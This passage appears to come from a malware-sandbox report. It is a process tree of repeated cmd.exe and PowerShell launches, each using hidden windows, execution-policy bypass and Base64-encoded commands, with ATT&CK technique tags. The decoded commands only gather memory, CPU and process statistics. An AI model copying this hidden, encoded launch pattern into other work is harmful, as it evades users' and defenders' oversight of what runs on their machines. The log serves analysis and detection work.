bgB2AGUAcgB0AFQAbwAtAEoAcwBvAG4AIAAkAHAAcgBvAGMAcwAKACAAIAAgACAA
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:4236
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand CgAgACAAIAAgACAAIAAkAG8AcwAgAD0AIABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAAVwBpAG4AMwAyAF8ATwBwAGUAcgBhAHQAaQBuAGcAUwB5AHMAdABlAG0ACgAgACAAIAAgACAAIAAkAGYAcgBlAGUAcgBhAG0AIAA9ACAAWwBNAGEAdABoAF0AOgA6AFIAbwB1AG4AZAAoACQAbwBzAC4ARgByAGUAZQBQAGgAeQBzAGkAYwBhAGwATQBlAG0AbwByAHkAIAAvACAAMQAwADIANAAgAC8AIAAxADAAMgA0ACwAIAAyACkACgAgACAAIAAgACAAIAAkAHQAbwB0AGEAbAByAGEAbQAgAD0AIABbAE0AYQB0AGgAXQA6ADoAUgBvAHUAbgBkACgAJABvAHMALgBUAG8AdABhAGwAVgBpAHMAaQBiAGwAZQBNAGUAbQBvAHIAeQBTAGkAegBlACAALwAgADEAMAAyADQAIAAvACAAMQAwADIANAAsACAAMgApAAoAIAAgACAAIAAgACAAJAB1AHMAZQBkAHIAYQBtACAAPQAgAFsATQBhAHQAaABdADoAOgBSAG8AdQBuAGQAKAAkAHQAbwB0AGEAbAByAGEAbQAgAC0AIAAkAGYAcgBlAGUAcgBhAG0ALAAgADIAKQAKACAAIAAgACAAIAAgACQAYwBwAHUAIAA9ACAAKABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAAVwBpAG4AMwAyAF8AUAByAG8AYwBlAHMAcwBvAHIAKQAuAEwAbwBhAGQAUABlAHIAYwBlAG4AdABhAGcAZQAKACAAIAAgACAAIAAgAEAAewAgAGYAcgBlAGUAUgBhAG0APQAkAGYAcgBlAGUAcgBhAG0AOwAgAHQAbwB0AGEAbABSAGEAbQA9ACQAdABvAHQAYQBsAHIAYQBtADsAIAB1AHMAZQBkAFIAYQBtAD0AJAB1AHMAZQBkAHIAYQBtADsAIABjAHAAdQBVAHMAYQBnAGUAPQAkAGMAcAB1ACAAfQAgAHwAIABDAG8AbgB2AGUAcgB0AFQAbwAtAEoAcwBvAG4ACgAgACAAIAAgAA=="
  2⤵
  PID:3344
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand CgAgACAAIAAgACAAIAAkAG8AcwAgAD0AIABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAAVwBpAG4AMwAyAF8ATwBwAGUAcgBhAHQAaQBuAGcAUwB5AHMAdABlAG0ACgAgACAAIAAgACAAIAAkAGYAcgBlAGUAcgBhAG0AIAA9ACAAWwBNAGEAdABoAF0AOgA6AFIAbwB1AG4AZAAoACQAbwBzAC4ARgByAGUAZQBQAGgAeQBzAGkAYwBhAGwATQBlAG0AbwByAHkAIAAvACAAMQAwADIANAAgAC8AIAAxADAAMgA0ACwAIAAyACkACgAgACAAIAAgACAAIAAkAHQAbwB0AGEAbAByAGEAbQAgAD0AIABbAE0AYQB0AGgAXQA6ADoAUgBvAHUAbgBkACgAJABvAHMALgBUAG8AdABhAGwAVgBpAHMAaQBiAGwAZQBNAGUAbQBvAHIAeQBTAGkAegBlACAALwAgADEAMAAyADQAIAAvACAAMQAwADIANAAsACAAMgApAAoAIAAgACAAIAAgACAAJAB1AHMAZQBkAHIAYQBtACAAPQAgAFsATQBhAHQAaABdADoAOgBSAG8AdQBuAGQAKAAkAHQAbwB0AGEAbAByAGEAbQAgAC0AIAAkAGYAcgBlAGUAcgBhAG0ALAAgADIAKQAKACAAIAAgACAAIAAgACQAYwBwAHUAIAA9ACAAKABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAAVwBpAG4AMwAyAF8AUAByAG8AYwBlAHMAcwBvAHIAKQAuAEwAbwBhAGQAUABlAHIAYwBlAG4AdABhAGcAZQAKACAAIAAgACAAIAAgAEAAewAgAGYAcgBlAGUAUgBhAG0APQAkAGYAcgBlAGUAcgBhAG0AOwAgAHQAbwB0AGEAbABSAGEAbQA9ACQAdABvAHQAYQBsAHIAYQBtADsAIAB1AHMAZQBkAFIAYQBtAD0AJAB1AHMAZQBkAHIAYQBtADsAIABjAHAAdQBVAHMAYQBnAGUAPQAkAGMAcAB1ACAAfQAgAHwAIABDAG8AbgB2AGUAcgB0AFQAbwAtAEoAcwBvAG4ACgAgACAAIAAgAA==
    3⤵
    PID:1440
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand CgAgACAAIAAgACAAIAAkAHAAcgBvAGMAcwAgAD0AIABHAGUAdAAtAFAAcgBvAGMAZQBzAHMAIAB8ACAAVwBoAGUAcgBlAC0ATwBiAGoAZQBjAHQAIAB7ACAAJABfAC4ATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUAIAAtAG4AZQAgACIAIgAgAC0AYQBuAGQAIAAkAF8ALgBOAGEAbQBlACAALQBuAGUAIAAiAGUAeABwAGwAbwByAGUAcgAiACAAfQAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAATgBhAG0AZQAsACAAQAB7AE4AYQBtAGUAPQAiAE0AZQBtACIAOwBFAHgAcAByAGUAcwBzAGkAbwBuAD0AewBbAE0AYQB0AGgAXQA6ADoAUgBvAHUAbgBkACgAJABfAC4AVwBvAHIAawBpAG4AZwBTAGUAdAAgAC8AIAAxAE0AQgAsACAAMQApAH0AfQAgAHwAIABTAG8AcgB0AC0ATwBiAGoAZQBjAHQAIABNAGUAbQAgAC0ARABlAHMAYwBlAG4AZABpAG4AZwAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAALQBGAGkAcgBzAHQAIAAxADUACgAgACAAIAAgACAAIABDAG8AbgB2AGUAcgB0AFQAbwAtAEoAcwBvAG4AIAAkAHAAcgBvAGMAcwAKACAAIAAgACAA"
  2⤵
  PID:1696
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand CgAgACAAIAAgACAAIAAkAHAAcgBvAGMAcwAgAD0AIABHAGUAdAAtAFAAcgBvAGMAZQBzAHMAIAB8ACAAVwBoAGUAcgBlAC0ATwBiAGoAZQBjAHQAIAB7ACAAJABfAC4ATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUAIAAtAG4AZQAgACIAIgAgAC0AYQBuAGQAIAAkAF8ALgBOAGEAbQBlACAALQBuAGUAIAAiAGUAeABwAGwAbwByAGUAcgAiACAAfQAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAATgBhAG0AZQAsACAAQAB7AE4AYQBtAGUAPQAiAE0AZQBtACIAOwBFAHgAcAByAGUAcwBzAGkAbwBuAD0AewBbAE0AYQB0AGgAXQA6ADoAUgBvAHUAbgBkACgAJABfAC4AVwBvAHIAawBpAG4AZwBTAGUAdAAgAC8AIAAxAE0AQgAsACAAMQApAH0AfQAgAHwAIABTAG8AcgB0AC0ATwBiAGoAZQBjAHQAIABNAGUAbQAgAC0ARABlAHMAYwBlAG4AZABpAG4AZwAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAALQBGAGkAcgBzAHQAIAAxADUACgAgACAAIAAgACAAIABDAG8AbgB2AGUAcgB0AFQAbwAtAEoAcwBvAG4AIAAkAHAAcgBvAGMAcwAKACAAIAAgACAA
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:5564
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand CgAgACAAIAAgACAAIAAkAG8AcwAgAD0AIABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAAVwBpAG4AMwAyAF8ATwBwAGUAcgBhAHQAaQBuAGcAUwB5AHMAdABlAG0ACgAgACAAIAAgACAAIAAkAGYAcgBlAGUAcgBhAG0AIAA9ACAAWwBNAGEAdABoAF0AOgA6AFIAbwB1AG4AZAAoACQAbwBzAC4ARgByAGUAZQBQAGgAeQBzAGkAYwBhAGwATQBlAG0AbwByAHkAIAAvACAAMQAwADIANAAgAC8AIAAxADAAMgA0ACwAIAAyACkACgAgACAAIAAgACAAIAAkAHQAbwB0AGEAbAByAGEAbQAgAD0AIABbAE0AYQB0AGgAXQA6ADoAUgBvAHUAbgBkACgAJABvAHMALgBUAG8AdABhAGwAVgBpAHMAaQBiAGwAZQBNAGUAbQBvAHIAeQBTAGkAegBlACAALwAgADEAMAAyADQAIAAvACAAMQAwADIANAAsACAAMgApAAoAIAAgACAAIAAgACAAJAB1AHMAZQBkAHIAYQBtACAAPQAgAFsATQBhAHQAaABdADoAOgBSAG8AdQBuAGQAKAAkAHQAbwB0AGEAbAByAGEAbQAgAC0AIAAkAGYAcgBlAGUAcgBhAG0ALAAgADIAKQAKACAAIAAgACAAIAAgACQAYwBwAHUAIAA9ACAAKABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAAVwBpAG4AMwAyAF8AUAByAG8AYwBlAHMAcwBvAHIAKQAuAEwAbwBhAGQAUABlAHIAYwBlAG4AdABhAGcAZQAKACAAIAAgACAAIAAgAEAAewAgAGYAcgBlAGUAUgBhAG0APQAkAGYAcgBlAGUAcgBhAG0AOwAgAHQAbwB0AGEAbABSAGEAbQA9ACQAdABvAHQAYQBsAHIAYQBtADsAIAB1AHMAZQBkAFIAYQBtAD0AJAB1AHMAZQBkAHIAYQBtADsAIABjAHAAdQBVAHMAYQBnAGUAPQAkAGMAcAB1ACAAfQAgAHwAIABDAG8AbgB2AGUAcgB0AFQAbwAtAEoAcwBvAG4ACgAgACAAIAAgAA=="
  2⤵
  PID:3136
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand CgAgACAAIAAgACAAIAAkAG8AcwAgAD0AIABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAAVwBpAG4AMwAyAF8ATwBwAGUAcgBhAHQAaQBuAGcAUwB5AHMAdABlAG0ACgAgACAAIAAgACAAIAAkAGYAcgBlAGUAcgBhAG0AIAA9ACAAWwBNAGEAdABoAF0AOgA6AFIAbwB1AG4AZAAoACQAbwBzAC4ARgByAGUAZQBQAGgAeQBzAGkAYwBhAGwATQBlAG0AbwByAHkAIAAvACAAMQAwADIANAAgAC8AIAAxADAAMgA0ACwAIAAyACkACgAgACAAIAAgACAAIAAkAHQAbwB0AGEAbAByAGEAbQAgAD0AIABbAE0AYQB0AGgAXQA6ADoAUgBvAHUAbgBkACgAJABvAHMALgBUAG8AdABhAGwAVgBpAHMAaQBiAGwAZQBNAGUAbQBvAHIAeQBTAGkAegBlACAALwAgADEAMAAyADQAIAAvACAAMQAwADIANAAsACAAMgApAAoAIAAgACAAIAAgACAAJAB1AHMAZQBkAHIAYQBtACAAPQAgAFsATQBhAHQAaABdADoAOgBSAG8AdQBuAGQAKAAkAHQAbwB0AGEAbAByAGEAbQAgAC0AIAAkAGYAcgBlAGUAcgBhAG0ALAAgADIAKQAKACAAIAAgACAAIAAgACQAYwBwAHUAIAA9ACAAKABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAAVwBpAG4AMwAyAF8AUAByAG8AYwBlAHMAcwBvAHIAKQAuAEwAbwBhAGQAUABlAHIAYwBlAG4AdABhAGcAZQAKACAAIAAgACAAIAAgAEAAewAgAGYAcgBlAGUAUgBhAG0APQAkAGYAcgBlAGUAcgBhAG0AOwAgAHQAbwB0AGEAbABSAGEAbQA9ACQAdABvAHQAYQBsAHIAYQBtADsAIAB1AHMAZQBkAFIAYQBtAD0AJAB1AHMAZQBkAHIAYQBtADsAIABjAHAAdQBVAHMAYQBnAGUAPQAkAGMAcAB1ACAAfQAgAHwAIABDAG8AbgB2AGUAcgB0AFQAbwAtAEoAcwBvAG4ACgAgACAAIAAgAA==
    3⤵
    PID:5280
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand CgAgACAAIAAgACAAIAAkAHAAcgBvAGMAcwAgAD0AIABHAGUAdAAtAFAAcgBvAGMAZQBzAHMAIAB8ACAAVwBoAGUAcgBlAC0ATwBiAGoAZQBjAHQAIAB7ACAAJABfAC4ATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUAIAAtAG4AZQAgACIAIgAgAC0AYQBuAGQAIAAkAF8ALgBOAGEAbQBlACAALQBuAGUAIAAiAGUAeABwAGwAbwByAGUAcgAiACAAfQAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAATgBhAG0AZQAsACAAQAB7AE4AYQBtAGUAPQAiAE0AZQBtACIAOwBFAHgAcAByAGUAcwBzAGkAbwBuAD0AewBbAE0AYQB0AGgAXQA6ADoAUgBvAHUAbgBkACgAJABfAC4AVwBvAHIAawBpAG4AZwBTAGUAdAAgAC8AIAAxAE0AQgAsACAAMQApAH0AfQAgAHwAIABTAG8AcgB0AC0ATwBiAGoAZQBjAHQAIABNAGUAbQAgAC0ARABlAHMAYwBlAG4AZABpAG4AZwAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAALQBGAGkAcgBzAHQAIAAxADUACgAgACAAIAAgACAAIABDAG8AbgB2AGUAcgB0AFQAbwAtAEoAcwBvAG4AIAAkAHAAcgBvAGMAcwAKACAAIAAgACAA"
  2⤵
  PID:5012
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand CgAgACAAIAAgACAAIAAkAHAAcgBvAGMAcwAgAD0AIABHAGUAdAAtAFAAcgBvAGMAZQBzAHMAIAB8ACAAVwBoAGUAcgBlAC0ATwBiAGoAZQBjAHQAIAB7ACAAJABfAC4ATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUAIAAtAG4AZQAgACIAIgAgAC0AYQBuAGQAIAAkAF8ALgBOAGEAbQBlACAALQBuAGUAIAAiAGUAeABwAGwAbwByAGUAcgAiACAAfQAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAATgBhAG0AZQAsACAAQAB7AE4AYQBtAGUAPQAiAE0AZQBtACIAOwBFAHgAcAByAGUAcwBzAGkAbwBuAD0AewBbAE0AYQB0AGgAXQA6ADoAUgBvAHUAbgBkACgAJABfAC4AVwBvAHIAawBpAG4AZwBTAGUAdAAgAC8AIAAxAE0AQgAsACAAMQApAH0AfQAgAHwAIABTAG8AcgB0AC0ATwBiAGoAZQBjAHQAIABNAGUAbQAgAC0ARABlAHMAYwBlAG4AZABpAG4AZwAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAALQBGAGkAcgBzAHQAIAAxADUACgAgACAAIAAgACAAIABDAG8AbgB2AGUAcgB0AFQAbwAtAEoAcwBvAG4AIAAkAHAAcgBvAGMAcwAKACAAIAAgACAA
    3⤵
    PID:4728
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand CgAgACAAIAAgACAAIAAkAG8AcwAgAD0AIABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAAVwBpAG4AMwAyAF8ATwBwAGUAcgBhAHQAaQBuAGcAUwB5AHMAdABlAG0ACgAgACAAIAAgACAAIAAkAGYAcgBlAGUAcgBhAG0AIAA9ACAAWwBNAGEAdABoAF0AOgA6AFIAbwB1AG4AZAAoACQAbwBzAC4ARgByAGUAZQBQAGgAeQBzAGkAYwBhAGwATQBlAG0AbwByAHkAIAAvACAAMQAwADIANAAgAC8AIAAxADAAMgA0ACwAIAAyACkACgAgACAAIAAgACAAIAAkAHQAbwB0AGEAbAByAGEAbQAgAD0AIABbAE0AYQB0AGgAXQA6ADoAUgBvAHUAbgBkACgAJABvAHMALgBUAG8AdABhAGwAVgBpAHMAaQBiAGwAZQBNAGUAbQBvAHIAeQBTAGkAegBlACAALwAgADEAMAAyADQAIAAvACAAMQAwADIANAAsACAAMgApAAoAIAAgACAAIAAgACAAJAB1AHMAZQBkAHIAYQBtACAAPQAgAFsATQBhAHQAaABdADoAOgBSAG8AdQBuAGQAKAAkAHQAbwB0AGEAbAByAGEAbQAgAC0AIAAkAGYAcgBlAGUAcgBhAG0ALAAgADIAKQAKACAAIAAgACAAIAAgACQAYwBwAHUAIAA9ACAAKABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAAVwBpAG4AMwAyAF8AUAByAG8AYwBlAHMAcwBvAHIAKQAuAEwAbwBhAGQAUABlAHIAYwBlAG4AdABhAGcAZQAKACAAIAAgACAAIAAgAEAAewAgAGYAcgBlAGUAUgBhAG0APQAkAGYAcgBlAGUAcgBhAG0AOwAgAHQAbwB0AGEAbABSAGEAbQA9ACQAdABvAHQAYQBsAHIAYQBtADsAIAB1AHMAZQBkAFIAYQBtAD0AJAB1AHMAZQBkAHIAYQBtADsAIABjAHAAdQBVAHMAYQBnAGUAPQAkAGMAcAB1ACAAfQAgAHwAIABDAG8AbgB2AGUAcgB0AFQAbwAtAEoAcwBvAG4ACgAgACAAIAAgAA=="
  2⤵
  - Hide Artifacts: Hidden Window
  PID:5340
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand CgAgACAAIAAgACAAIAAkAG8AcwAgAD0AIABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAAVwBpAG4AMwAyAF8ATwBwAGUAcgBhAHQAaQBuAGcAUwB5AHMAdABlAG0ACgAgACAAIAAgACAAIAAkAGYAcgBlAGUAcgBhAG0AIAA9ACAAWwBNAGEAdABoAF0AOgA6AFIAbwB1AG4AZAAoACQAbwBzAC4ARgByAGUAZQBQAGgAeQBzAGkAYwBhAGwATQBlAG0AbwByAHkAIAAvACAAMQAwADIANAAgAC8AIAAxADAAMgA0ACwAIAAyACkACgAgACAAIAAgACAAIAAkAHQAbwB0AGEAbAByAGEAbQAgAD0AIABbAE0AYQB0AGgAXQA6ADoAUgBvAHUAbgBkACgAJABvAHMALgBUAG8AdABhAGwAVgBpAHMAaQBiAGwAZQBNAGUAbQBvAHIAeQBTAGkAegBlACAALwAgADEAMAAyADQAIAAvACAAMQAwADIANAAsACAAMgApAAoAIAAgACAAIAAgACAAJAB1AHMAZQBkAHIAYQBtACAAPQAgAFsATQBhAHQAaABdADoAOgBSAG8AdQBuAGQAKAAkAHQAbwB0AGEAbAByAGEAbQAgAC0AIAAkAGYAcgBlAGUAcgBhAG0ALAAgADIAKQAKACAAIAAgACAAIAAgACQAYwBwAHUAIAA9ACAAKABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAAVwBpAG4AMwAyAF8AUAByAG8AYwBlAHMAcwBvAHIAKQAuAEwAbwBhAGQAUABlAHIAYwBlAG4AdABhAGcAZQAKACAAIAAgACAAIAAgAEAAewAgAGYAcgBlAGUAUgBhAG0APQAkAGYAcgBlAGUAcgBhAG0AOwAgAHQAbwB0AGEAbABSAGEAbQA9ACQAdABvAHQAYQBsAHIAYQBtADsAIAB1AHMAZQBkAFIAYQBtAD0AJAB1AHMAZQBkAHIAYQBtADsAIABjAHAAdQBVAHMAYQBnAGUAPQAkAGMAcAB1ACAAfQAgAHwAIABDAG8AbgB2AGUAcgB0AFQAbwAtAEoAcwBvAG4ACgAgACAAIAAgAA==
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:5800
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand CgAgACAAIAAgACAAIAAkAHAAcgBvAGMAcwAgAD0AIABHAGUAdAAtAFAAcgBvAGMAZQBzAHMAIAB8ACAAVwBoAGUAcgBlAC0ATwBiAGoAZQBjAHQAIAB7ACAAJABfAC4ATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUAIAAtAG4AZQAgACIAIgAgAC0AYQBuAGQAIAAkAF8ALgBOAGEAbQBlACAALQBuAGUAIAAiAGUAeABwAGwAbwByAGUAcgAiACAAfQAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAATgBhAG0AZQAsACAAQAB7AE4AYQBtAGUAPQAiAE0AZQBtACIAOwBFAHgAcAByAGUAcwBzAGkAbwBuAD0AewBbAE0AYQB0AGgAXQA6ADoAUgBvAHUAbgBkACgAJABfAC4AVwBvAHIAawBpAG4AZwBTAGUAdAAgAC8AIAAxAE0AQgAsACAAMQApAH0AfQAgAHwAIABTAG8AcgB0AC0ATwBiAGoAZQBjAHQAIABNAGUAbQAgAC0ARABlAHMAYwBlAG4AZABpAG4AZwAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAALQBGAGkAcgBzAHQAIAAxADUACgAgACAAIAAgACAAIABDAG8AbgB2AGUAcgB0AFQAbwAtAEoAcwBvAG4AIAAkAHAAcgBvAGMAcwAKACAAIAAgACAA"
  2⤵
  PID:5556
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand CgAgACAAIAAgACAAIAAkAHAAcgBvAGMAcwAgAD0AIABHAGUAdAAtAFAAcgBvAGMAZQBzAHMAIAB8ACAAVwBoAGUAcgBlAC0ATwBiAGoAZQBjAHQAIAB7ACAAJABfAC4ATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUAIAAtAG4AZQAgACIAIgAgAC0AYQBuAGQAIAAkAF8ALgBOAGEAbQBlACAALQBuAGUAIAAiAGUAeABwAGwAbwByAGUAcgAiACAAfQAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAATgBhAG0AZQAsACAAQAB7AE4AYQBtAGUAPQAiAE0AZQBtACIAOwBFAHgAcAByAGUAcwBzAGkAbwBuAD0AewBbAE0AYQB0AGgAXQA6ADoAUgBvAHUAbgBkACgAJABfAC4AVwBvAHIAawBpAG4AZwBTAGUAdAAgAC8AIAAxAE0AQgAsACAAMQApAH0AfQAgAHwAIABTAG8AcgB0AC0ATwBiAGoAZQBjAHQAIABNAGUAbQAgAC0ARABlAHMAYwBlAG4AZABpAG4AZwAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAALQBGAGkAcgBzAHQAIAAxADUACgAgACAAIAAgACAAIABDAG8AbgB2AGUAcgB0AFQAbwAtAEoAcwBvAG4AIAAkAHAAcgBvAGMAcwAKACAAIAAgACAA
    3⤵
    PID:920
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand CgAgACAAIAAgACAAIAAkAG8AcwAgAD0AIABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAAVwBpAG4AMwAyAF8ATwBwAGUAcgBhAHQAaQBuAGcAUwB5AHMAdABlAG0ACgAgACAAIAAgACAAIAAkAGYAcgBlAGUAcgBhAG0AIAA9ACAAWwBNAGEAdABoAF0AOgA6AFIAbwB1AG4AZAAoACQAbwBzAC4ARgByAGUAZQBQAGgAeQBzAGkAYwBhAGwATQBlAG0AbwByAHkAIAAvACAAMQAwADIANAAgAC8AIAAxADAAMgA0ACwAIAAyACkACgAgACAAIAAgACAAIAAkAHQAbwB0AGEAbAByAGEAbQAgAD0AIABbAE0AYQB0AGgAXQA6ADoAUgBvAHUAbgBkACgAJABvAHMALgBUAG8AdABhAGwAVgBpAHMAaQBiAGwAZQBNAGUAbQBvAHIAeQBTAGkAegBlACAALwAgADEAMAAyADQAIAAvACAAMQAwADIANAAsACAAMgApAAoAIAAgACAAIAAgACAAJAB1AHMAZQBkAHIAYQBtACAAPQAgAFsATQBhAHQAaABdADoAOgBSAG8AdQBuAGQAKAAkAHQAbwB0AGEAbAByAGEAbQAgAC0AIAAkAGYAcgBlAGUAcgBhAG0ALAAgADIAKQAKACAAIAAgACAAIAAgACQAYwBwAHUAIAA9ACAAKABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAAVwBpAG4AMwAyAF8AUAByAG8AYwBlAHMAcwBvAHIAKQAuAEwAbwBhAGQAUABlAHIAYwBlAG4AdABhAGcAZQAKACAAIAAgACAAIAAgAEAAewAgAGYAcgBlAGUAUgBhAG0APQAkAGYAcgBlAGUAcgBhAG0AOwAgAHQAbwB0AGEAbABSAGEAbQA9ACQAdABvAHQAYQBsAHIAYQBtADsAIAB1AHMAZQBkAFIAYQBtAD0AJAB1AHMAZQBkAHIAYQBtADsAIABjAHAAdQBVAHMAYQBnAGUAPQAkAGMAcAB1ACAAfQAgAHwAIABDAG8AbgB2AGUAcgB0AFQAbwAtAEoAcwBvAG4ACgAgACAAIAAgAA=="
  2⤵
  - Hide Artifacts: Hidden Window
  PID:5760
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand CgAgACAAIAAgACAAIAAkAG8AcwAgAD0AIABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAAVwBpAG4AMwAyAF8ATwBwAGUAcgBhAHQAaQBuAGcAUwB5AHMAdABlAG0ACgAgACAAIAAgACAAIAAkAGYAcgBlAGUAcgBhAG0AIAA9ACAAWwBNAGEAdABoAF0AOgA6AFIAbwB1AG4AZAAoACQAbwBzAC4ARgByAGUAZQBQAGgAeQBzAGkAYwBhAGwATQBlAG0AbwByAHkAIAAvACAAMQAwADIANAAgAC8AIAAxADAAMgA0ACwAIAAyACkACgAgACAAIAAgACAAIAAkAHQAbwB0AGEAbAByAGEAbQAgAD0AIABbAE0AYQB0AGgAXQA6ADoAUgBvAHUAbgBkACgAJABvAHMALgBUAG8AdABhAGwAVgBpAHMAaQBiAGwAZQBNAGUAbQBvAHIAeQBTAGkAegBlACAALwAgADEAMAAyADQAIAAvACAAMQAwADIANAAsACAAMgApAAoAIAAgACAAIAAgACAAJAB1AHMAZQBkAHIAYQBtACAAPQAgAFsATQBhAHQAaABdADoAOgBSAG8AdQBuAGQAKAAkAHQAbwB0AGEAbAByAGEAbQAgAC0AIAAkAGYAcgBlAGUAcgBhAG0ALAAgADIAKQAKACAAIAAgACAAIAAgACQAYwBwAHUAIAA9ACAAKABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAAVwBpAG4AMwAyAF8AUAByAG8AYwBlAHMAcwBvAHIAKQAuAEwAbwBhAGQAUABlAHIAYwBlAG4AdABhAGcAZQAKACAAIAAgACAAIAAgAEAAewAgAGYAcgBlAGUAUgBhAG0APQAkAGYAcgBlAGUAcgBhAG0AOwAgAHQAbwB0AGEAbABSAGEAbQA9ACQAdABvAHQAYQBsAHIAYQBtADsAIAB1AHMAZQBkAFIAYQBtAD0AJAB1AHMAZQBkAHIAYQBtADsAIABjAHAAdQBVAHMAYQBnAGUAPQAkAGMAcAB1ACAAfQAgAHwAIABDAG8AbgB2AGUAcgB0AFQAbwAtAEoAcwBvAG4ACgAgACAAIAAgAA==
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:5624
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand CgAgACAAIAAgACAAIAAkAHAAcgBvAGMAcwAgAD0AIABHAGUAdAAtAFAAcgBvAGMAZQBzAHMAIAB8ACAAVwBoAGUAcgBlAC0ATwBiAGoAZQBjAHQAIAB7ACAAJABfAC4ATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUAIAAtAG4AZQAgACIAIgAgAC0AYQBuAGQAIAAkAF8ALgBOAGEAbQBlACAALQBuAGUAIAAiAGUAeABwAGwAbwByAGUAcgAiACAAfQAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAATgBhAG0AZQAsACAAQAB7AE4AYQBtAGUAPQAiAE0AZQBtACIAOwBFAHgAcAByAGUAcwBzAGkAbwBuAD0AewBbAE0AYQB0AGgAXQA6ADoAUgBvAHUAbgBkACgAJABfAC4AVwBvAHIAawBpAG4AZwBTAGUAdAAgAC8AIAAxAE0AQgAsACAAMQApAH0AfQAgAHwAIABTAG8AcgB0AC0ATwBiAGoAZQBjAHQAIABNAGUAbQAgAC0ARABlAHMAYwBlAG4AZABpAG4AZwAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAALQBGAGkAcgBzAHQAIAAxADUACgAgACAAIAAgACAAIABDAG8AbgB2AGUAcgB0AFQAbwAtAEoAcwBvAG4AIAAkAHAAcgBvAGMAcwAKACAAIAAgACAA"
  2⤵
  - Hide Artifacts: Hidden Window
  PID:4688
